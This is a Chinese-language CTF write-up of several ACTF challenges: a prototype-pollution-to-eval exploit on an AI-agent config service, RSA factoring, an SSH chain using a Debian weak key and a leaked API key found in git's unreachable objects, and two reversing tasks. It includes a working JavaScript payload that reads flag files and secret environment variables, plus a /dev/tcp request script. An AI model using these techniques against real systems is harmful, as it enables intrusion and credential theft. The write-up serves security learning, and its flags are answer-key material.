ACTF ∀gent 题目一开始没给附件,就给了个容器。
进去之后是让我们上传一个 zip ,然后就可以和 agent 聊天? 稍微试探一下会吐出假的 flag ,
ACTF{WuYan_1s_4_b19_Turt13_N07_7h3_F1n41_Fl4g}
后面题目又给了一个附件。
附件结构:
1 2 3 4 5 6 7 8 9 10 11 server.js public/app.js src/ storage/db.json storage/tenants/workspace/main-agent.yaml storage/repositories/ vendor/ vendor/candidate-yaml-update-action/ vendor/expr-eval/ vendor/jsonpath-plus/ vendor/jmespath-js/
看看他的聊天接口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 app.post ("/api/workspaces/:id/chat" , async (req, res) => { assertChatPayload (req.body ); ... }); const payload = { instruction : String (req.query .instruction || "..." ), scope : String (req.query .scope || "release" ), environment : String (req.query .environment || workspace.environment || "staging" ), section : String (req.query .section || "image" ), field : String (req.query .field || "tag" ), value : String (req.query .value || "v1.0.4-rc1" ), };
聊天的参数会强制转字符串,没找到能打的地方。
传入的 value :
1 2 3 value : { anyOf : [{ type : "string" }, { type : "number" }, { type : "boolean" }], },
也只接受字符串、数字、布尔值。
但是这边有个 override 接口:
1 2 3 4 app.post ("/api/projects/:id/agent/override" , async (req, res) => { const job = await runOverrideJob (req.params .id , req.body ); res.status (202 ).json ({ job }); });
这里可以传任意的 JSON ,value 也能放对象。
所以我们追踪一下这个 override
看 src/job-runner.js:
1 2 const propertyPath = buildPropertyPath(payload) const patchValue = buildPatchValue(payload)
还有 src/path-builder.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 function sanitizeSegment (input, fallback ) { if (typeof input !== "string" || !input.trim ()) { return fallback; } return input.trim (); }function buildPropertyPath (request ) { const scope = sanitizeSegment (request.scope , "release" ); const environment = sanitizeSegment (request.environment , "staging" ); const section = sanitizeSegment (request.section , "image" ); const field = sanitizeSegment (request.field , "tag" ); return `agentProfile.scopes.${scope} .environments.${environment} .${section} .${field} ` ; }function buildPatchValue (request ) { return request.value ; }
这里有一个点:
sanitizeSegment() 只是判断是不是字符串,然后 trim(),没有过滤点号 .,也没有过滤危险 key。
也就是说,正常路径是:
agentProfile.scopes.release.environments.staging.image.tag
但如果让:
field = “a.b.c”
最终路径就变成:
1 agentProfile.scopes .release .environments .staging .image .a .b .c
这说明我们可以通过 field 注入额外路径层级。
然后看一看 propertyPath 被谁用了。
agent loop 里调用:
1 2 tool: "config.diff" ,args: { propertyPath, value: patchValue },
src/tool-registry.js 里:
1 2 3 4 5 6 7 8 9 "config.diff" : ({ propertyPath, value }) => { const result = applyChanges(filePath, { [propertyPath]: value }); return { changed: result .changed, format: result .format, before: result .before, after: result .after, }; },
1 2 3 applyChanges(filePath, { [propertyPath] : value })
src/config-engine.js:
1 2 3 4 5 6 7 8 9 10 function applyChanges (filePath, valueUpdates, options = {} ) { ... const changedFile = upstream.processFile ( path.basename (filePath), valueUpdates, actionOptions, actionLogger ); ... }
它把更新逻辑丢给了:
1 vendor/candidate-yaml-update-action
继续跟踪就能看到核心写入:
1 jsonpath.value(copy, jsonPath, value);
所以这里可以有原型污染。
因为最终路径是:
1 agentProfile.scopes .release .environments .staging .image .${field}
污染 Object.prototype.policy 就能控制
1 2 3 4 5 formula bindingProfile resultProfile selectorProfile exposeDebugContext
在 executeFormulaExpression() 里:
1 2 3 const result = eval (`(function (${argNames.join(',' )} ) { return (${expression}); })`)( ...argValues );
这就是污染最后的 eval
但是这个 eval 被加了限制
1 2 3 4 5 6 if (verdict.blocked Count > 0 ) { if (!allowCompatInterpreter) { throw new Error("strict numeric formula validation failed" ); } return executeFormulaExpression(...); }
会拦截,然后 bindingProfile 默认的 lock 需要改为 compat:
1 2 3 4 5 6 7 8 9 10 11 12 function resolveBindingProfile (profile) { switch (String(profile || "" )) { case "locked" : return false ; case "sealed" : return false ; case "compat" : return true ; default : return true ; } }
还有 eval 的返回结果也有校验,如果返回字符串,会报 error
所以还要把 resultProfile 设置为 wide
1 2 3 4 5 6 7 8 9 10 11 12 function resolveResultProfile (profile) { switch (String(profile || "" )) { case "compact" : return true ; case "wide" : return false ; case "decimal" : return false ; default : return false ; } }
最后在控制台跑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 const formula = `(()=>{const fs =require ('fs' );for (const p of ['/flag' ,'/FLAG' ,'/app/flag' ,'/app/FLAG' ,'/tmp/flag' ,'/tmp/FLAG' ,'/workspace/flag' ,'/workspace/FLAG' ]){try {if (fs.existsSync (p))return fs.readFileSync (p,'utf8' )}catch (e){}}return Object.entries (process.env).filter (([k])=>/flag|ctf|actf|secret|token/i.test (k)).map (([k,v])=>k+'=' +v).join ('\\n' )})()`;const res = await fetch ("/api/projects/workspace-main/agent/override" , { method : "POST" , headers : { "content-type" : "application/json" }, body : JSON.stringify ({ instruction : "evaluate release policy" , scope : "release" , environment : "staging" , section : "image" , field : "constructor.prototype.policy" , value : { formula, bindingProfile : "compat" , resultProfile : "wide" , selectorProfile : "catalog" , exposeDebugContext : true }, dryRun : true }) });const data = await res.json (); console.log (data); console.log ("RESULT =" , data?.job?.result?.evaluation?.formulaResult);
就能拿到 flag
ACTF{1n_f4c7_∀_D0esn’7_ref3r_2_und3rwe4r_bu7_an_1nVer7ed_A} special day 签到题。
附件给了base64:SGFwcHkgTW90aGVyJ3MgRGF5LCBNb20h
就是Happy Mother’s Day, Mom!
ACTF{Happy_Mothers_Day_Mom} ZJUAM Just Uses Awful Math 流量包里是一次登陆过程
拿了一个Pubkey,然后有串加密的password
估计是解这个password。
password:590948ad2f7a3c0b1a2a5e5f470f4297db3b90623251132be2c5e5395cd12563
Pubkey :
{“modulus”:”90011418f37a7a075aead75a9829d38eb2d750fd17bb24e5861b89d7658a88c3”,”exponent”:”10001”}
后面是crypto了吧。( •_•)>⌐■-■
Alpertron Integer Factorization Calculator里面解出来
p = 202555251191383333988748320354737959551
q = 321566364572398185024295275472079273917
n = p * q
e = 65537
解出来的明文是414354467b544c535f73407665735f5448455f7730524c647d
也就是
ACTF{TLS_s@ves_THE_w0RLd} Ezssh 题目给了个实例申请接口。调用之后返回一台 SSH 主机地址、端口、用户名。
连接 SSH ,这个 SSH 的密码是用户名 guest 。
(md,这个密码卡了好久,还以为是在哪里能拿到的)
然后要输入 team token。
进入之后拿到了 bastion
/home 下面除了 guest 还有 inuebisu
在 /home/inuebisu 里面有 flag1.txt
但是没有权限读取。
但是可以读取 /home/inuebisu/.bash_history
1 2 3 4 5 6 7 ssh root@oldgw scp root@oldgw :/root/ .ssh/id_rsa.pub /tmp/oldgw.pub cat /tmp/oldgw.pub >> ~/.ssh/authorized _keys ssh gitops@git -01 ssh gitops@git -01 "ls /srv/git" ssh gitops@git -01 "cd /srv/git/ai-gateway-migration && git log --oneline -3" cat flag1.txt
inuebisu 曾经登录过 oldgw。
root@oldgw 的公钥被加入了 inuebisu 的 authorized_keys。
后续还有 git-01 这条线
发现 authorized_keys 中有一条注释为 root@oldgw 的 RSA 公钥
同时 /tmp/oldgw-etc 中有 oldgw 的备份配置:
1 find /tmp/oldgw-etc -maxdepth 3 -type f -exec echo '===== {} =====' \; -exec cat {} \;
其中:
1 2 /tmp/ oldgw-etc/debian_version: 4.0 /tmp/ oldgw-etc/hostname: oldgw
Debian 4.0 加上旧 SSH key 是经典 Debian OpenSSL weak key 线索。
先保存 root@olddw 的公钥,
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvMDKzZ6D+MTDUToYDHiRG/oC+qcPo0gGNhfPzFnfGIU0em7gP911RUHSsRBi9LGBPo4u2KHSdkBrvh5aDClBCDumoLv/UVH2Q9qxxRIQW9uKNMvMNao+Ux30a2MjWM5+KR/xGeujO3YYIkJBx9bI5jkipu5l3UhPRjtTxChTe3T7x7bwZEeW9dsV4NtWM2EyQEX21mfAtb1uHQrL5Ce6kweKmBu/xR7y5r7GDaygBgGQLVjeqXJ6wLew/DPcFcWqMoAULpcUScVZ7F1Rz8AeqLbtZ0fHZbBZVEKgHji2f7K3TwIKe0IfRjICJzaEvHM7SROvEbd7DtVM+lZ1O57Kjw==
查看指纹 2048 MD5:a3:ed:92:9a:9c:89:a7:3f:52:13:7a:ba:c5:56:56:32 root@oldgw (RSA)
然后通过 Debian OpenSSL 弱密钥库找到私钥。
直接用这个私钥登陆 inuebisu
读取第一段 flag :
ACTF{O1DGw_N3vER_d!E5_ 查看 SSH 配置,发现保存着 git-01 的凭证
于是直接 ssh git-01
发现 ~/flag2.txt ,直接读取拿到第二段:
h!s70ry_sT!lL_1eaK$_ 然后在 这个 git 仓库中寻找。
这个用户还有一把去 backup_01 的私钥,只支持 SFTP 服务。
连过去没什么东西
就一个ai-gateway.service
内容是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 [Unit] Description =Internal AI GatewayAfter =network.target[Service] Type =simpleEnvironment =OPENAI_BASE_URL=http://10.61 .3.40 :8080 /v1Environment =OPENAI_MODEL=deepsleep-v8ExecStart =/usr/local/bin/ai-gatewayRestart =always[Install] WantedBy =multi-user.targetgitops@git-01 :/srv/git/ai-gateway-migration$
其实这个本来的仓库里也有提到,有个 smoke 的思路。
同时怀疑有悬空提交或者孤儿提交
1 git fsck --full --no-reflogs --unreachable --lost-found 2>/dev/null
1 unreachable blob 5 b33 ca2 d50324 d3600 c 315671849e3 c 7 ea03 bcc8
1 git show 5 b33 ca2 d50324 d3600 c 315671849e3 c 7 ea03 bcc8
得到:
1 OPENAI_API_KEY =sk-pandora-k7J2nL9vR4xT1mPq5sB8wY3uA6zC0eI4gH2jK
然后直接给 ai-gateway-01:8080 发请求。
为什么我这用 curl -sS 显示没有这个命令qaq,但是其他人的 wp 里面可以啊。
不得已,用 /dev/tcp 手搓了。
1 2 3 4 5 6 7 KEY ='sk-pandora-k7J2nL9vR4xT1mPq5sB8wY3uA6zC0eI4gH2jK'BODY ='{"model" :"deepsleep-v8" ,"messages" :[{"role" :"user" ,"content" :"ping" }]}'exec 3 <>/dev/tcp/10.61.3.40 /8080 printf 'POST /v1/chat/completions HTTP/1 .1 \r\nHost: 10.61.3.40 \r\nContent-Type: application/json\r\nAuthorization: Bearer %s\r\nContent-Length: %s\r\nConnection: close\r\n\r\n%s' "$$KEY" "$${#BODY}" "$BODY" >&3 cat <&3 exec 3 >&-
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 HTTP/1.0 200 OKServer: BaseHTTP/0.6 Python/3.12.13 Date: Sun, 10 May 2026 12 :30 :04 GMTContent-Type: application/json Content-Length: 169 { "id" : "chatcmpl-final" , "object" : "chat.completion" , "choices" : [ { "message" : { "role" : "assistant" , "content" : "@70M1c_b0mBiN9}" } } ] }
第三段:
@70M1c_b0mBiN9} ACTF{O1DGw_N3vER_d!E5_h!s70ry_sT!lL_1eaK$_@70M1c_b0mBiN9} 计算机系统贯通实验 附件是个 .xlsx ,实际上是用 excel 表格做了个 Excel CPU,用公式模拟了一套类 RISC-V 指令执行流程
F4 输入 flag
F7 reset / 控制
F10 输出
I列 混淆后的指令
J列 寄存器
K/L列 内存
指令列的解码关系大概是:
instr = (int(I[row], 16) - 11462713 * (pc // 4) - 918823512) & 0xffffffff
解码后能看到一套类似 RV32I 的指令集:load/store/branch/jal/jalr/lui/auipc/op/op-imm
程序启动后会打印
Hi
begin init
Checking flag
主要校验分成四段。
第一段是自定义 base64。程序用普通 base64 字符表生成了一个置换表:
1 perm[i] = alphabet[(37 * i + 47) % 64]
用这个表解目标串:
1 JJY+ndsVry-wWNA9MJYcg5Y0WSIwWi8Ir+rOG-==
得到 flag 的第 35 到 62 位:
1 I-cann0t-love-it-anymore233-
第二段是前 35 字节的简单变换:
1 enc[i] = ((flag[i] ^ 0x37) + 0x2f) & 0xff
逆回去得到:
1 ACTF{do-u-love-General-Physics-(H)?
第三段是 hash 链,循环校验第 63 到 82 位。hash 不是标准 FNV,但形式很像:
1 2 3 4 5 6 h = 0x811c9dc5 for b in data_until_zero: h ^= b h = rol32(h, 7) h = (h + (h << 13)) & 0xffffffff h ^= h >> 5
逐对爆破 printable 字符并利用重叠关系,可以得到:
第四段是最后 16 字节的块变换,结构像一个简化 AES:
1 2 3 4 5 6 7 state ^= first16 state ^= key16 7 rounds: S-box ShiftRows-like permutation MixColumns-like transform, polynomial 0x1d round key xor
把最后的目标块逆回去,得到:
拼起来就是:
1 ACTF{do-u-love-General-Physics-(H)?I-cann0t-love-it-anymore233-15c077f9-631f-44d8-b826-af6c60f15e4f}
Flag checker 题目结构大概是:
1 2 3 4 5 6 LoongArch64 Go 静态二进制+ garble 混淆+ 反射调用 verifier 方法+ HMAC-SHA256 派生 per-word key+ 自定义 4 轮 Feistel+ mmap 出来的 blob 里做 SM4 校验
关键约束是:
1 2 3 flag 长度:38 格式:ACTF{32 字节body }body 是 32 位小写 hex 字符串
真正校验函数是由前缀 ACTF{ 算出来的:
1 base32 (sha256("ACTF{" ) [:5] ) = CT77IKGJ
所以进入的方法是:
1 main .(*JGqVVFpm).CT77IKGJ
最后的主逻辑是把 body 切成 8 个 little-endian uint32,然后通过 8 个 goroutine/channel 打乱依赖关系。每个 word 的 Feistel key 来自另一个 word 的:
1 first4 (HMAC-SHA256("DragonAbyssLoong64ReverseCTF2026" , word_bytes) )
Feistel 后的 32 字节再进入 mmap blob 里的 SM4。SM4 key 是:
目标密文是:
1 47431 c 8 eca012e7 a3 a6 ff6 c 3807 a168 de2 ed5 b5 b8026866 fc8 ba4460320308 fe
解密后得到中间目标:
1 018f4771d52fb3b970bcdace9ef3e24bc1926f9bb054537ef00ba5e1efda4801
然后因为 body 只允许 hex 字符,每 4 字节只有 16^4 = 65536 种可能,直接建 8 个转移表,解一个 8-word 环就能出结果。
ACTF{fce553ec44532f11ff209e1213c92acd}